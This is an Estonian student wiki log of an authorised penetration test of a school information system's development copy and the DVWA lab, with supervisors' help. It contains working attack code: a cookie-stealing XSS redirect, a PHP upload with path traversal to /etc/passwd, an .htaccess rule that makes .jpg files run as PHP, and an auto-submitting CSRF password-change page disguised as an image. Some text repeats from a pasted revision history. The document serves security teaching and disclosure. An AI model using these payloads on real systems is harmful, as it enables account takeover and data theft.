Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf
<br>Näiteks sellised failid ja kõik ülejäänud oleksid keelatud.

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T11:36:31Z

Mallikso: /* Väike upload tegevus, mis võiks olla teisiti */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
